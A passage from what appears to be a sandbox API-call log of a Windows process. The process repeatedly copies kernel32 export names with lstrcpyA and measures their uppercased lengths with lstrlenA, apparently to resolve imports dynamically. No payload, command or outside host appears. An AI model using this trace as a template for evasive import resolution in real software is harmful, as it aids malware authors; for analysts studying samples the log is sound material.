lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0132.216] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0132.216] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0132.216] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0132.216] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0132.216] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0132.216] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0132.217] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0132.217] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0132.217] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0132.217] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0132.217] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0132.217] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0132.217] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0132.217] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0132.217] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0132.217] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0132.217] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0132.217] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0132.217] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0132.217] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0132.217] lstrlenA (lpString="BEEP") returned 4 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0132.217] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0132.217] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0132.217] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0132.217] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0132.217] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0132.217] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0132.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0132.217] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0132.218] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0132.218] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0132.218] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0132.218] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0132.218] lstrlenA (lpString="CANCELIO") returned 8 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0132.218] lstrlenA (lpString="CANCELIOEX") returned 10 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0132.218] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0132.218] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0132.218] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0132.218] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0132.218] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0132.218] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0132.218] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0132.218] lstrlenA (lpString="CHECKELEVATION") returned 14 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0132.218] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0132.218] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0132.218] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0132.218] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0132.218] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0132.218] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0132.218] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0132.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0132.219] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0132.219] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0132.219] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0132.219] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0132.219] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0132.219] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0132.219] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0132.219] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0132.219] lstrlenA (lpString="CLOSESTATE") returned 10 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0132.219] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0132.219] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0132.219] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0132.219] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0132.219] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0132.219] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0132.219] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0132.219] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0132.219] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0132.219] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0132.219] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0132.219] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0132.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0132.219] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0132.220] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0132.220] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0132.220] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0132.220] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0132.220] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0132.220] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0132.220] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0132.220] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0132.220] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0132.220] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0132.220] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0132.220] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0132.220] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0132.220] lstrlenA (lpString="COPYCONTEXT") returned 11 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0132.220] lstrlenA (lpString="COPYFILE2") returned 9 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0132.220] lstrlenA (lpString="COPYFILEA") returned 9 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0132.220] lstrlenA (lpString="COPYFILEEXA") returned 11 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0132.220] lstrlenA (lpString="COPYFILEEXW") returned 11 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0132.220] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0132.220] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0132.220] lstrlenA (lpString="COPYFILEW") returned 9 [0132.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0132.221] lstrlenA (lpString="COPYLZFILE") returned 10 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0132.221] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0132.221] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0132.221] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0132.221] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0132.221] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0132.221] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0132.221] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0132.221] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0132.221] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0132.221] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0132.221] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0132.221] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0132.221] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0132.221] lstrlenA (lpString="CREATEEVENTA") returned 12 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0132.221] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0132.221] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0132.221] lstrlenA (lpString="CREATEEVENTW") returned 12 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0132.221] lstrlenA (lpString="CREATEFIBER") returned 11 [0132.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0132.222] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0132.222] lstrlenA (lpString="CREATEFILE2") returned 11 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0132.222] lstrlenA (lpString="CREATEFILEA") returned 11 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0132.222] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0132.222] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0132.222] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0132.222] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0132.222] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0132.222] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0132.222] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0132.222] lstrlenA (lpString="CREATEFILEW") returned 11 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0132.222] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0132.222] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0132.222] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") 